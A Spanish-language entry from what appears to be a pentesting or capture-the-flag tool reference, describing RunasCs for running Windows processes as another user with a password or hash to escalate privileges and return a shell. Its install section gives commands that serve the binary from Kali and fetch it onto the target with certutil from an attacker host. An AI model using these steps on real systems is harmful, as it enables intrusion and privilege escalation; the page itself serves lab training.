the_open_door
café
ESEN
← Herramientas

RunasCs

Ejecuta procesos como otro usuario con sus credenciales o hash.

Utilidad para ejecutar procesos como otro usuario desde la línea de comandos, usando su contraseña o su hash. Reemplaza a runas cuando no hay sesión interactiva y sirve para saltar a otra cuenta y devolver una shell.

Familia Escalada de privilegios

Flags <user> <pass> <cmd> -d

Conceptos RunasCs

Cheatsheet Credenciales y ejecución como otro

Instalación

# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80                              # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/RunasCs.exe RunasCs.exe      # en el objetivo (o SMB / 'upload' de evil-winrm)

Comandos útiles4 comandos

Aparece en

Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.